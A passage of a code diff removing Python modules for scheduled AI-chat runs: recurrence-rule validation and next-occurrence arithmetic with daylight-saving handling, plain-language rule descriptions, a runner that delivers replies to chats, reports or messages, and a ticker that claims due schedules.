for unit, size in UNITS.items():
|
||||
seconds += _int(value.get(unit), low=0, high=MAX_INTERVAL_SECONDS) * size
|
||||
if seconds <= 0:
|
||||
return {}
|
||||
seconds = max(MIN_INTERVAL_SECONDS, min(seconds, MAX_INTERVAL_SECONDS))
|
||||
return {"minutes": seconds // 60}
|
||||
|
||||
|
||||
def validate(rule: object) -> dict:
|
||||
"""Normalise a rule, or return {} for one that cannot be made sense of.
|
||||
|
||||
**Total on purpose.** The compile step hands this whatever a model wrote, so
|
||||
it drops what it does not recognise and clamps what it does, and never
|
||||
raises. `{}` is the honest answer for prose, for a cron string, for an empty
|
||||
object -- and the caller's job is then to show the manual form rather than
|
||||
write a schedule that never fires. A schedule that can never fire is
|
||||
indistinguishable from a working one on every screen it appears on, which is
|
||||
this feature's flagship silent failure.
|
||||
|
||||
The invariant worth holding on to, and pinned in the tests: **anything this
|
||||
returns non-empty has a computable next occurrence.**
|
||||
"""
|
||||
if not isinstance(rule, dict):
|
||||
return {}
|
||||
|
||||
every = _every(rule.get("every"))
|
||||
raw_at = rule.get("at") if isinstance(rule.get("at"), dict) else {}
|
||||
at = {
|
||||
"weekdays": _numbers(raw_at.get("weekdays"), low=0, high=6),
|
||||
"days": _numbers(raw_at.get("days"), low=1, high=31),
|
||||
"months": _numbers(raw_at.get("months"), low=1, high=12),
|
||||
"times": [f"{hour:02d}:{minute:02d}" for hour, minute in _times(raw_at.get("times"))],
|
||||
}
|
||||
# A calendar with no time of day has no time of day. Midnight is the only
|
||||
# defensible reading and it is what every cron-like thing does, so it is
|
||||
# filled in rather than making the whole `at` block meaningless.
|
||||
if any(at[key] for key in ("weekdays", "days", "months")) and not at["times"]:
|
||||
at["times"] = ["00:00"]
|
||||
if not at["times"]:
|
||||
at = {}
|
||||
|
||||
start = _stamp(rule.get("start"))
|
||||
until = _stamp(rule.get("until"))
|
||||
count = _int(rule.get("count"), low=0, high=MAX_COUNT)
|
||||
|
||||
# A one-shot is `start` and nothing else, so without a start there is
|
||||
# nothing to fire and nothing to infer -- unlike a calendar, which is
|
||||
# perfectly meaningful from now onwards.
|
||||
if not every and not at and start is None:
|
||||
return {}
|
||||
# A window that closes before it opens produces nothing, which is a rule
|
||||
# that cannot fire rather than one that fires oddly.
|
||||
if start is not None and until is not None and until < start:
|
||||
return {}
|
||||
|
||||
normalised: dict = {}
|
||||
if start is not None:
|
||||
normalised["start"] = start.astimezone(UTC).isoformat()
|
||||
if every:
|
||||
normalised["every"] = every
|
||||
if at:
|
||||
normalised["at"] = {key: value for key, value in at.items() if value}
|
||||
normalised["at"]["times"] = at["times"]
|
||||
if count:
|
||||
normalised["count"] = count
|
||||
if until is not None:
|
||||
normalised["until"] = until.astimezone(UTC).isoformat()
|
||||
return normalised
|
||||
|
||||
|
||||
# --- When it next comes due -----------------------------------------------------
|
||||
def _interval(rule: dict) -> timedelta:
|
||||
return timedelta(minutes=int((rule.get("every") or {}).get("minutes") or 0))
|
||||
|
||||
|
||||
def _matches(moment: datetime, at: dict) -> bool:
|
||||
"""Whether a local date satisfies the calendar constraints.
|
||||
|
||||
Empty means "every", per field, which is what makes `{"times": ["09:00"]}`
|
||||
read as "daily at nine" without having to enumerate seven weekdays.
|
||||
"""
|
||||
weekdays = at.get("weekdays") or []
|
||||
days = at.get("days") or []
|
||||
months = at.get("months") or []
|
||||
if weekdays and moment.weekday() not in weekdays:
|
||||
return False
|
||||
if days and moment.day not in days:
|
||||
return False
|
||||
return not (months and moment.month not in months)
|
||||
|
||||
|
||||
def _wall(day: datetime, hour: int, minute: int, zone: tzinfo) -> datetime:
|
||||
"""A wall-clock time on a given local day, as an instant.
|
||||
|
||||
Two DST cases, both handled here rather than left to `zoneinfo`'s defaults:
|
||||
|
||||
- **The hour that does not exist.** On a spring-forward day, 02:30 is not a
|
||||
time. Constructing it anyway yields something that does not round-trip, so
|
||||
the gap is detected by comparing and the result is pushed to the first
|
||||
instant that does exist. Skipping the day instead is how a daily report
|
||||
disappears once a year.
|
||||
- **The hour that happens twice.** `fold=0` picks the first, and the
|
||||
advance-past-the-last-fire rule upstream is what stops the second being
|
||||
taken as a separate occurrence.
|
||||
"""
|
||||
naive = day.replace(hour=hour, minute=minute, second=0, microsecond=0, tzinfo=None)
|
||||
local = naive.replace(tzinfo=zone, fold=0)
|
||||
# A time inside the spring-forward gap does not survive the round trip.
|
||||
if local.astimezone(UTC).astimezone(zone).replace(tzinfo=None) != naive:
|
||||
# Walk forward a minute at a time to the far side of the gap. Gaps are
|
||||
# an hour at most in every zone the database has ever carried, so this
|
||||
# is bounded and cheap; adding the offset difference directly would
|
||||
# assume the size of a gap this code has no business knowing.
|
||||
for extra in range(1, 181):
|
||||
candidate = (naive + timedelta(minutes=extra)).replace(tzinfo=zone, fold=0)
|
||||
round_trip = candidate.astimezone(UTC).astimezone(zone).replace(tzinfo=None)
|
||||
if round_trip == naive + timedelta(minutes=extra):
|
||||
return candidate.astimezone(UTC)
|
||||
return local.astimezone(UTC)
|
||||
|
||||
|
||||
def _calendar_after(rule: dict, after: datetime, *, zone: tzinfo) -> datetime | None:
|
||||
"""The first calendar occurrence strictly after `after`."""
|
||||
at = rule.get("at") or {}
|
||||
times = [tuple(int(part) for part in value.split(":")) for value in at.get("times") or []]
|
||||
if not times:
|
||||
return None
|
||||
|
||||
local = after.astimezone(zone)
|
||||
day = local.replace(hour=0, minute=0, second=0, microsecond=0)
|
||||
for _ in range(SEARCH_DAYS):
|
||||
if _matches(day, at):
|
||||
for hour, minute in times:
|
||||
moment = _wall(day, hour, minute, zone)
|
||||
if moment > after:
|
||||
return moment
|
||||
day += timedelta(days=1)
|
||||
# Re-anchor to local midnight: adding a day across a DST boundary
|
||||
# otherwise leaves the cursor an hour either side of it, and the day
|
||||
# after a fall-back would be searched from 23:00 the previous evening.
|
||||
day = day.astimezone(zone).replace(hour=0, minute=0, second=0, microsecond=0)
|
||||
return None
|
||||
|
||||
|
||||
def _exhausted(rule: dict, moment: datetime, fired: int) -> bool:
|
||||
count = int(rule.get("count") or 0)
|
||||
if count and fired >= count:
|
||||
return True
|
||||
until = _stamp(rule.get("until"))
|
||||
return bool(until and moment > until)
|
||||
|
||||
|
||||
def next_after(
|
||||
rule: dict, after: datetime, *, zone: tzinfo, fired: int = 0
|
||||
) -> datetime | None:
|
||||
"""The next instant this rule comes due, strictly after `after`.
|
||||
|
||||
`None` means never again: the count is spent, the window has closed, or the
|
||||
calendar matches nothing inside the search horizon. A caller seeing `None`
|
||||
disables the schedule -- exhaustion switches off, it does not loop.
|
||||
|
||||
`fired` is how many times it has already run, and is what makes `count`
|
||||
work without the rule having to carry mutable state.
|
||||
"""
|
||||
if not isinstance(rule, dict) or not rule:
|
||||
return None
|
||||
count = int(rule.get("count") or 0)
|
||||
if count and fired >= count:
|
||||
return None
|
||||
|
||||
after = after.astimezone(UTC)
|
||||
start = _stamp(rule.get("start"))
|
||||
every = _interval(rule)
|
||||
at = rule.get("at") or {}
|
||||
|
||||
moment: datetime | None
|
||||
if at:
|
||||
# A calendar never fires before its start, so the search begins at
|
||||
# whichever of the two is later.
|
||||
floor = max(after, start - timedelta(microseconds=1)) if start else after
|
||||
moment = _calendar_after(rule, floor, zone=zone)
|
||||
if moment is not None and every:
|
||||
# A stride over a calendar keeps every Nth match. Counted from the
|
||||
# start rather than from `after`, so "every other Monday" means the
|
||||
# same two Mondays whenever it is asked.
|
||||
stride = max(1, int(round(every.total_seconds() / 86400)) or 1)
|
||||
if stride > 1 and start is not None:
|
||||
elapsed = (moment.astimezone(zone).date() - start.astimezone(zone).date()).days
|
||||
skipped = 0
|
||||
while elapsed % stride and skipped < SEARCH_DAYS:
|
||||
moment = _calendar_after(rule, moment, zone=zone)
|
||||
if moment is None:
|
||||
break
|
||||
elapsed = (
|
||||
moment.astimezone(zone).date() - start.astimezone(zone).date()
|
||||
).days
|
||||
skipped += 1
|
||||
elif every:
|
||||
if start is None:
|
||||
return None
|
||||
if after < start:
|
||||
moment = start
|
||||
else:
|
||||
# Absolute arithmetic, deliberately: a timer measures elapsed time,
|
||||
# so it must not shift when the offset does. Computed rather than
|
||||
# stepped, so a schedule idle for a year costs one division.
|
||||
elapsed = (after - start).total_seconds()
|
||||
steps = int(elapsed // every.total_seconds()) + 1
|
||||
moment = start + every * steps
|
||||
else:
|
||||
# A one-shot. Due exactly once, and only if it has not already run --
|
||||
# `fired` is what stops it being re-offered for ever once its moment has
|
||||
# passed, since `start > after` is false from then on.
|
||||
if start is None or fired:
|
||||
return None
|
||||
moment = start if start > after else None
|
||||
|
||||
if moment is None or _exhausted(rule, moment, fired):
|
||||
return None
|
||||
return moment
|
||||
|
||||
|
||||
def advance(
|
||||
rule: dict, *, after: datetime, now: datetime, zone: tzinfo, fired: int = 0
|
||||
) -> tuple[bool, datetime | None]:
|
||||
"""Catch up on a schedule whose time passed while nothing was running.
|
||||
|
||||
Answers two things at once: whether it is owed a firing *now*, and when it
|
||||
should next come due. The pair is one function because the second depends on
|
||||
the first -- a caller that asked separately would have to decide what
|
||||
"next" means for a schedule it has just decided to fire.
|
||||
|
||||
**A missed run collapses to one.** The next occurrence returned is the first
|
||||
one strictly after `now`, not the one after the slot that was missed -- so a
|
||||
host switched off for a week comes back owing one report rather than a
|
||||
hundred and sixty-eight. That is the whole reason this is not just
|
||||
`next_after`.
|
||||
|
||||
It is called from the *sweep* rather than only at startup, because a
|
||||
suspended laptop, a paused container and a long stall all reproduce the
|
||||
same situation with no restart to hang a startup hook on.
|
||||
"""
|
||||
due = next_after(rule, after, zone=zone, fired=fired)
|
||||
if due is None:
|
||||
return False, None
|
||||
if due > now:
|
||||
return False, due
|
||||
# Overdue. Fire once, and resume from wherever the rule is now -- counting
|
||||
# this firing, so `count` is spent by what actually ran.
|
||||
return True, next_after(rule, now, zone=zone, fired=fired + 1)
|
||||
|
||||
|
||||
# --- Saying it back -------------------------------------------------------------
|
||||
_DAY_NAMES = ("Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday")
|
||||
_MONTH_NAMES = (
|
||||
"January", "February", "March", "April", "May", "June",
|
||||
"July", "August", "September", "October", "November", "December",
|
||||
)
|
||||
|
||||
|
||||
def _join(words: list[str]) -> str:
|
||||
if len(words) <= 1:
|
||||
return "".join(words)
|
||||
return f"{', '.join(words[:-1])} and {words[-1]}"
|
||||
|
||||
|
||||
def _ordinal(number: int) -> str:
|
||||
if 10 <= number % 100 <= 20:
|
||||
return f"{number}th"
|
||||
return f"{number}{ {1: 'st', 2: 'nd', 3: 'rd'}.get(number % 10, 'th') }"
|
||||
|
||||
|
||||
def _duration(delta: timedelta) -> str:
|
||||
minutes = int(delta.total_seconds() // 60)
|
||||
for size, unit in ((10080, "week"), (1440, "day"), (60, "hour"), (1, "minute")):
|
||||
if minutes >= size and not minutes % size:
|
||||
amount = minutes // size
|
||||
return f"{amount} {unit}{'s' if amount != 1 else ''}"
|
||||
return f"{minutes} minute{'s' if minutes != 1 else ''}"
|
||||
|
||||
|
||||
def _weekday_phrase(days: list[int]) -> str:
|
||||
"""Weekdays as somebody would say them, or "" for no constraint.
|
||||
|
||||
Monday-to-Friday collapses because that is what a person means and what a
|
||||
model writes when they say "every weekday" -- and five names in a row is the
|
||||
commonest thing this function produces otherwise. All seven is no constraint
|
||||
at all, and saying so is how "every day" comes out of a rule that named them.
|
||||
"""
|
||||
chosen = set(days or [])
|
||||
if not chosen or chosen == set(WEEKDAYS):
|
||||
return ""
|
||||
if chosen == {0, 1, 2, 3, 4}:
|
||||
return "weekday"
|
||||
return _join([_DAY_NAMES[day] for day in sorted(chosen)])
|
||||
|
||||
|
||||
def _calendar_phrase(at: dict) -> str:
|
||||
"""How often a calendar rule comes round, in words that parse.
|
||||
|
||||
Worth the length. This is what the setup screen echoes back before anything
|
||||
is saved, what the list page shows beside each schedule, and what the model
|
||||
is told about its own chat -- so it is the reader's only view of a decision
|
||||
taken while they were not looking. It used to build a phrase by joining
|
||||
fragments, which read "Every the 1st at 09:00" for the single commonest
|
||||
monthly schedule there is, and "Every of January" for a month with no day.
|
||||
A row nobody can parse is one nobody checks.
|
||||
"""
|
||||
weekdays = _weekday_phrase(at.get("weekdays") or [])
|
||||
days = at.get("days") or []
|
||||
months = at.get("months") or []
|
||||
month_names = _join([_MONTH_NAMES[month - 1] for month in months])
|
||||
|
||||
if days:
|
||||
# A day of the month is the subject; the month, if any, qualifies it.
|
||||
where = month_names or "each month"
|
||||
lead = f"On the {_join([_ordinal(day) for day in days])} of {where}"
|
||||
# Both set is an AND and is rare. Said plainly rather than smoothed into
|
||||
# something that reads like an OR.
|
||||
return f"{lead}, if it is a {weekdays}" if weekdays else lead
|
||||
|
||||
if weekdays == "weekday":
|
||||
lead = "Every weekday"
|
||||
elif weekdays:
|
||||
lead = f"Every {weekdays}"
|
||||
else:
|
||||
lead = "Every day"
|
||||
return f"{lead} in {month_names}" if month_names else lead
|
||||
|
||||
|
||||
def describe(rule: dict, *, zone: tzinfo) -> str:
|
||||
"""One line saying what this rule does, in the reader's own zone.
|
||||
|
||||
Not decoration. It is what the setup screen echoes back before anything is
|
||||
saved, what the list page shows beside each schedule, and what the harness
|
||||
tells a model about its own chat. A row reading "Every Monday at 3PM" over a
|
||||
rule that fires daily is the same class of failure as three places
|
||||
disagreeing about a tool's name -- and this one is the reader's only view of
|
||||
a decision that happens while they are not looking.
|
||||
"""
|
||||
rule = rule or {}
|
||||
if not rule:
|
||||
return "Never"
|
||||
|
||||
at = rule.get("at") or {}
|
||||
every = _interval(rule)
|
||||
parts: list[str] = []
|
||||
|
||||
if at:
|
||||
parts.append(f"{_calendar_phrase(at)} at {_join(list(at.get('times') or []))}")
|
||||
# A stride over a calendar is a qualifier rather than a rewording:
|
||||
# "Every Monday at 15:00, skipping to every 14 days" is clumsy but true,
|
||||
# and inventing "every other Monday" for it would be a phrase that stops
|
||||
# being true the moment the stride is not two.
|
||||
stride_days = int(every.total_seconds() // 86400) if every else 0
|
||||
if stride_days > 1:
|
||||
parts.append(f"but only every {stride_days} days")
|
||||
elif every:
|
||||
parts.append(f"Every {_duration(every)}")
|
||||
else:
|
||||
start = _stamp(rule.get("start"))
|
||||
local = start.astimezone(zone) if start else None
|
||||
return f"Once, on {local.strftime('%-d %B %Y at %H:%M')}" if local else "Once"
|
||||
|
||||
count = int(rule.get("count") or 0)
|
||||
if count:
|
||||
parts.append(f"{count} time{'s' if count != 1 else ''}")
|
||||
until = _stamp(rule.get("until"))
|
||||
if until:
|
||||
parts.append(f"until {until.astimezone(zone).strftime('%-d %B %Y')}")
|
||||
|
||||
return ", ".join(parts)
|
||||
@@ -1,327 +0,0 @@
|
||||
"""What happens when a schedule fires.
|
||||
|
||||
Every schedule fires the same way — a turn into a chat, answered by the ordinary
|
||||
generation loop — and the *target* decides only what becomes of the finished
|
||||
reply. One mechanism, three deliveries:
|
||||
|
||||
- `chat` leave it there. The reply is the point, and it is already in the
|
||||
task chat where somebody will read it.
|
||||
- `report` copy it into a `Report` and keep the chat out of the way.
|
||||
- `messages` copy it into the reader's Messages conversation, as an assistant
|
||||
turn marked `machine`. Copied rather than moved: the task chat is
|
||||
the working area and keeps the tool calls, the steps and the
|
||||
metrics; Messages gets the answer.
|
||||
|
||||
The alternative — a one-shot `complete()` in the shape of `generate_title` — was
|
||||
rejected because it has no tools and no rounds, which is useless for the case
|
||||
this feature exists for. "Give me a daily news report" needs to search the web.
|
||||
|
||||
**Nothing in `services/generation.py` changes.** The waiting happens here, in a
|
||||
task per firing, which is the shape `jobs._watch` already established. Making
|
||||
generation aware of schedules would mean a branch inside `_persist`, and that is
|
||||
the single writer with one rule.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import contextlib
|
||||
import logging
|
||||
from datetime import UTC, datetime
|
||||
|
||||
from lembas.db.models import (
|
||||
ROLE_ASSISTANT,
|
||||
TARGET_CHAT,
|
||||
TARGET_MESSAGES,
|
||||
TARGET_REPORT,
|
||||
Chat,
|
||||
Message,
|
||||
Schedule,
|
||||
User,
|
||||
)
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services import reports as reports_service
|
||||
from lembas.services import wake as wake_service
|
||||
from lembas.services.schedule import clock
|
||||
from lembas.services.schedule import rule as rule_service
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# How long to wait for a firing's reply before giving up on delivering it. The
|
||||
# reply itself is not cancelled -- it goes on and lands in its chat, which is
|
||||
# where a task chat's output belongs anyway. What times out is only *this*
|
||||
# task's interest in copying the result somewhere.
|
||||
DELIVERY_TIMEOUT = 3600.0
|
||||
# How often the waiter looks. Coarse on purpose: nothing is watching this, and a
|
||||
# report arriving three seconds late costs nobody anything.
|
||||
POLL_SECONDS = 3.0
|
||||
|
||||
|
||||
def _preamble(schedule: Schedule, *, zone, due_at: datetime | None) -> str:
|
||||
"""The turn a firing puts into the chat.
|
||||
|
||||
Names itself a scheduled event in *words*, because the role stays `user` --
|
||||
`_inject` sends a queued turn verbatim and `build_messages` must keep seeing
|
||||
a user turn. The framing therefore cannot live in the role, exactly as it
|
||||
cannot for a finished background job.
|
||||
|
||||
The scheduled time is stated as well as the actual one, so a run caught up
|
||||
after an outage can say so rather than reporting stale news as current.
|
||||
"""
|
||||
now = datetime.now(tz=UTC).astimezone(zone)
|
||||
lines = [
|
||||
"This turn was started by a schedule, not by the person — "
|
||||
"they are not necessarily at the keyboard.",
|
||||
"",
|
||||
f"[schedule: {schedule.title or 'untitled'}] "
|
||||
f"{rule_service.describe(schedule.rule_json or {}, zone=zone)}",
|
||||
f"It is now {now.strftime('%A %-d %B %Y, %H:%M')}.",
|
||||
]
|
||||
if due_at is not None:
|
||||
late = (datetime.now(tz=UTC) - clock.as_utc(due_at)).total_seconds()
|
||||
if late > 600:
|
||||
local = clock.as_utc(due_at).astimezone(zone)
|
||||
lines.append(
|
||||
f"This run was due at {local.strftime('%A %-d %B, %H:%M')} and is late — "
|
||||
"say so if it makes any of what follows out of date."
|
||||
)
|
||||
lines += ["", schedule.instruction or schedule.request or ""]
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
async def _await_reply(chat_id: str, message_id: str) -> None:
|
||||
"""Wait for one generation to finish.
|
||||
|
||||
Polled rather than awaited on the task itself: `generation` owns its
|
||||
registry and its tasks, and reaching into either from here would couple this
|
||||
to internals whose whole job is to be replaceable. A poll costs nothing at
|
||||
this interval and cannot deadlock.
|
||||
"""
|
||||
from lembas.services import generation as generation_service
|
||||
|
||||
waited = 0.0
|
||||
while waited < DELIVERY_TIMEOUT:
|
||||
running = generation_service.running_for(chat_id)
|
||||
# `running_for` already excludes a finished generation, so `None` is the
|
||||
# ordinary end of this loop. The id check is what stops us waiting on
|
||||
# somebody's *next* reply in the same chat, which would otherwise happen
|
||||
# whenever a queued turn is drained straight after ours.
|
||||
if running is None or running.message_id != message_id:
|
||||
return
|
||||
await asyncio.sleep(POLL_SECONDS)
|
||||
waited += POLL_SECONDS
|
||||
log.warning("gave up waiting for the reply to schedule message %s", message_id)
|
||||
|
||||
|
||||
def _finished_reply(db, chat_id: str, message_id: str) -> Message | None:
|
||||
message = db.get(Message, message_id)
|
||||
if message is None or message.chat_id != chat_id:
|
||||
return None
|
||||
if not message.complete or message.error:
|
||||
return None
|
||||
return message
|
||||
|
||||
|
||||
def _preview(text: str, limit: int = 160) -> str:
|
||||
"""The opening of a reply, as the body of a notification.
|
||||
|
||||
A notification saying "a scheduled run finished" is one somebody has to open
|
||||
something to understand, which is most of the reason notifications get
|
||||
ignored. Flattened to one line because a push service and an operating
|
||||
system will each do their own thing with newlines.
|
||||
"""
|
||||
flat = " ".join((text or "").split())
|
||||
return flat[: limit - 1] + "…" if len(flat) > limit else flat
|
||||
|
||||
|
||||
async def deliver(schedule_id: str, message_id: str, *, since: datetime) -> None:
|
||||
"""Put a finished reply where the schedule said it should go.
|
||||
|
||||
`since` is the moment the firing began, and it is what tells a report the
|
||||
model filed itself apart from one filed on a previous run.
|
||||
"""
|
||||
with session_scope() as db:
|
||||
schedule = db.get(Schedule, schedule_id)
|
||||
if schedule is None:
|
||||
return
|
||||
target = schedule.target
|
||||
chat_id = schedule.chat_id
|
||||
|
||||
if target == TARGET_CHAT:
|
||||
# Already where it belongs. Stated rather than left to fall through, so
|
||||
# a reader of this function does not have to infer the common case.
|
||||
return
|
||||
|
||||
await _await_reply(chat_id, message_id)
|
||||
|
||||
with session_scope() as db:
|
||||
schedule = db.get(Schedule, schedule_id)
|
||||
if schedule is None:
|
||||
return
|
||||
owner = db.get(User, schedule.user_id)
|
||||
if owner is None:
|
||||
return
|
||||
message = _finished_reply(db, chat_id, message_id)
|
||||
|
||||
if target == TARGET_REPORT:
|
||||
# If the model filed one itself with `report_write`, that is the
|
||||
# report and this must not file a second. The tool stamps
|
||||
# `source_id` with the chat, which is what makes them the same run;
|
||||
# `since` is what makes it *this* run. Both stamps go through
|
||||
# `as_utc` because one comes from a row read back from SQLite (which
|
||||
# loses the offset) and the other is still in memory -- comparing
|
||||
# the two raises, the trap `compaction.moment` exists for.
|
||||
already = reports_service.recent(db, owner, limit=5)
|
||||
if any(
|
||||
r.source_id == chat_id and clock.as_utc(r.created_at) >= clock.as_utc(since)
|
||||
for r in already
|
||||
):
|
||||
return
|
||||
if message is None:
|
||||
reports_service.create(
|
||||
db,
|
||||
owner=owner,
|
||||
title=schedule.title or "Scheduled run",
|
||||
body="",
|
||||
source="schedule",
|
||||
source_id=chat_id,
|
||||
schedule_id=schedule.id,
|
||||
error="The run did not produce a reply.",
|
||||
)
|
||||
return
|
||||
reports_service.create(
|
||||
db,
|
||||
owner=owner,
|
||||
title=schedule.title or "Scheduled run",
|
||||
body=message.content or "",
|
||||
source="schedule",
|
||||
source_id=chat_id,
|
||||
schedule_id=schedule.id,
|
||||
model_id=message.model_id or "",
|
||||
)
|
||||
return
|
||||
|
||||
if target == TARGET_MESSAGES:
|
||||
if message is None:
|
||||
schedule.last_error = "The run did not produce anything to post."
|
||||
db.commit()
|
||||
return
|
||||
# Copied in as an assistant turn rather than moved, because the task
|
||||
# chat is the working area and holds the tool calls, the steps and
|
||||
# the metrics -- the Messages conversation gets the answer. Marked
|
||||
# `machine` for the same reason a job completion is: the reader did
|
||||
# not write it, and the bubble should not imply they did.
|
||||
from lembas.services import chat as chat_service
|
||||
from lembas.services import messages as messages_service
|
||||
|
||||
conversation = messages_service.for_user(db, owner)
|
||||
chat_service.create_message(
|
||||
db,
|
||||
conversation,
|
||||
ROLE_ASSISTANT,
|
||||
message.content or "",
|
||||
model_id=message.model_id or "",
|
||||
machine=True,
|
||||
)
|
||||
conversation.unread = True
|
||||
conversation.unread_notified = False
|
||||
db.commit()
|
||||
|
||||
# The arrival this whole channel exists for: a run that fired while
|
||||
# nobody was here, landing somewhere they are not looking. The first
|
||||
# line of the reply is the body, because "a scheduled run finished"
|
||||
# is a notification you have to open something to understand.
|
||||
from lembas.services import push as push_service
|
||||
|
||||
push_service.announce_later(
|
||||
owner.id,
|
||||
title=schedule.title or "Scheduled run",
|
||||
body=_preview(message.content or ""),
|
||||
url="/messages",
|
||||
kind="message",
|
||||
)
|
||||
|
||||
|
||||
async def fire(schedule_id: str, *, due_at: datetime | None = None) -> None:
|
||||
"""Run one schedule now.
|
||||
|
||||
Never raises: the ticker calls this and one bad schedule must not stop the
|
||||
others. Anything that goes wrong is written to `last_error`, where the
|
||||
schedule's own page shows it — a run that failed silently is
|
||||
indistinguishable from one that was never due.
|
||||
"""
|
||||
from lembas.services import settings_store
|
||||
|
||||
try:
|
||||
with session_scope() as db:
|
||||
schedule = db.get(Schedule, schedule_id)
|
||||
if schedule is None:
|
||||
return
|
||||
owner = db.get(User, schedule.user_id)
|
||||
chat = db.get(Chat, schedule.chat_id) if schedule.chat_id else None
|
||||
if owner is None:
|
||||
return
|
||||
if chat is None or chat.user_id != owner.id:
|
||||
# The chat was deleted, or never belonged to this owner. Stop
|
||||
# rather than fire into nothing on every tick from now on.
|
||||
schedule.enabled = False
|
||||
schedule.last_error = "Its chat no longer exists, so it has been switched off."
|
||||
db.commit()
|
||||
return
|
||||
|
||||
limit = int(settings_store.schedules(db).get("max_queued") or 3)
|
||||
zone = clock.zone_for(owner)
|
||||
content = _preamble(schedule, zone=zone, due_at=due_at)
|
||||
chat_id = chat.id
|
||||
model_id = schedule.model_id or chat.model_id
|
||||
began = datetime.now(tz=UTC)
|
||||
schedule.claimed_at = began
|
||||
schedule.last_error = ""
|
||||
db.commit()
|
||||
|
||||
# Outside the session: a chat already carrying a backlog is one whose
|
||||
# replies are slower than its schedule, and adding to it makes that
|
||||
# permanently worse. `_drain` takes one queued turn per reply.
|
||||
if wake_service.queued_count(chat_id) >= limit:
|
||||
with session_scope() as db:
|
||||
schedule = db.get(Schedule, schedule_id)
|
||||
if schedule is not None:
|
||||
schedule.last_error = (
|
||||
"Skipped: the previous run was still going, and turns are "
|
||||
"already waiting in its chat."
|
||||
)
|
||||
schedule.claimed_at = None
|
||||
db.commit()
|
||||
return
|
||||
|
||||
message_id = await wake_service.wake_chat(chat_id, content, model_id=model_id)
|
||||
|
||||
with session_scope() as db:
|
||||
schedule = db.get(Schedule, schedule_id)
|
||||
if schedule is not None:
|
||||
schedule.claimed_at = None
|
||||
db.commit()
|
||||
|
||||
if message_id:
|
||||
await deliver(schedule_id, message_id, since=began)
|
||||
except asyncio.CancelledError:
|
||||
raise
|
||||
except Exception: # noqa: BLE001 - one bad schedule must not stop the rest
|
||||
log.exception("schedule %s failed to fire", schedule_id)
|
||||
with contextlib.suppress(Exception), session_scope() as db:
|
||||
schedule = db.get(Schedule, schedule_id)
|
||||
if schedule is not None:
|
||||
schedule.last_error = "Something went wrong running this. See the log."
|
||||
schedule.claimed_at = None
|
||||
db.commit()
|
||||
|
||||
|
||||
async def run_now(schedule_id: str) -> None:
|
||||
"""Fire a schedule because somebody pressed the button.
|
||||
|
||||
**Deliberately does not advance `next_fire_at`.** Testing a schedule must
|
||||
not consume the run it was testing -- somebody who presses this at 14:00 to
|
||||
check a 15:00 report still expects the 15:00 one. The ticker owns advancing,
|
||||
and it is the only thing that does.
|
||||
"""
|
||||
await fire(schedule_id)
|
||||
@@ -1,210 +0,0 @@
|
||||
"""The loop that notices a schedule is due, and claims it.
|
||||
|
||||
Modelled on `agent/terminal.py:_reaper_loop`, which is the only periodic task
|
||||
this codebase had before now — including the blanket `except` around the sweep,
|
||||
for a reason that is sharper here: **a ticker that dies on one bad row stops
|
||||
every schedule on the instance, and says nothing.** Nothing else would notice.
|
||||
There is no request failing, no reply erroring, no dot appearing. The reports
|
||||
simply stop, and the first person to find out is whoever eventually wonders why.
|
||||
|
||||
Started from the lifespan rather than lazily like the reaper. Lazy is right for
|
||||
terminals — a shell only exists once somebody opened one — and wrong here: a
|
||||
schedule can be due at startup with nobody logged in, which is most of the point.
|
||||
|
||||
## Claiming, and why the order is the whole design
|
||||
|
||||
One worker and one loop, so the risk is not two processes racing; it is two
|
||||
*overlapping sweeps*, and a firing that raises being retried every tick for ever.
|
||||
Three things answer that:
|
||||
|
||||
1. A lock around the sweep, so a slow one (a firing awaits a model, which can
|
||||
take minutes) cannot overlap the next tick.
|
||||
2. **Advance, then fire.** The row is moved on and committed *before* anything
|
||||
is awaited. A firing that dies has still consumed its slot, so the schedule
|
||||
resumes at its next occurrence with the reason on the row — rather than
|
||||
becoming a hot loop against an endpoint that is down.
|
||||
3. `claimed_at` outliving a firing is what lets a run that never finished say so
|
||||
instead of looking like one that never started.
|
||||
|
||||
Exhaustion **disables**: a rule with nothing left returns `None`, and the row is
|
||||
switched off rather than being re-examined for ever.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import contextlib
|
||||
import logging
|
||||
from datetime import UTC, datetime, timedelta
|
||||
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.db.models import Schedule, User
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.schedule import clock, runner
|
||||
from lembas.services.schedule import rule as rule_service
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
_TICKER: asyncio.Task | None = None
|
||||
_SWEEPING = asyncio.Lock()
|
||||
# Live firings, so shutdown can wait for them rather than leaving a half-written
|
||||
# reply and a `claimed_at` that never clears.
|
||||
_FIRING: set[asyncio.Task] = set()
|
||||
|
||||
# Fallback when nothing has been configured. `settings_store.schedules` clamps
|
||||
# the stored value; this is only for a sweep that runs before anything is read.
|
||||
TICK_SECONDS = 30.0
|
||||
|
||||
|
||||
def _due(now: datetime):
|
||||
return (
|
||||
select(Schedule)
|
||||
.where(
|
||||
Schedule.enabled.is_(True),
|
||||
Schedule.next_fire_at.is_not(None),
|
||||
Schedule.next_fire_at <= now,
|
||||
)
|
||||
.order_by(Schedule.next_fire_at)
|
||||
)
|
||||
|
||||
|
||||
def claim(schedule: Schedule, *, now: datetime, zone) -> tuple[bool, datetime | None]:
|
||||
"""Move one schedule on, and say whether it is owed a firing.
|
||||
|
||||
Pure bookkeeping on the row: it does not fire anything and does not commit,
|
||||
so the caller decides the transaction boundary. The caller must commit
|
||||
before awaiting.
|
||||
"""
|
||||
rule = schedule.rule_json or {}
|
||||
after = clock.as_utc(schedule.next_fire_at) if schedule.next_fire_at else now
|
||||
fire_now, following = rule_service.advance(
|
||||
rule,
|
||||
# A microsecond earlier, because `next_after` answers *strictly* after
|
||||
# what it is given -- so handing it the stored due moment would return
|
||||
# the one following and skip the firing that is actually owed. The
|
||||
# alternative, making `next_after` inclusive, would break the far more
|
||||
# common "give me the one after this one" call it exists for.
|
||||
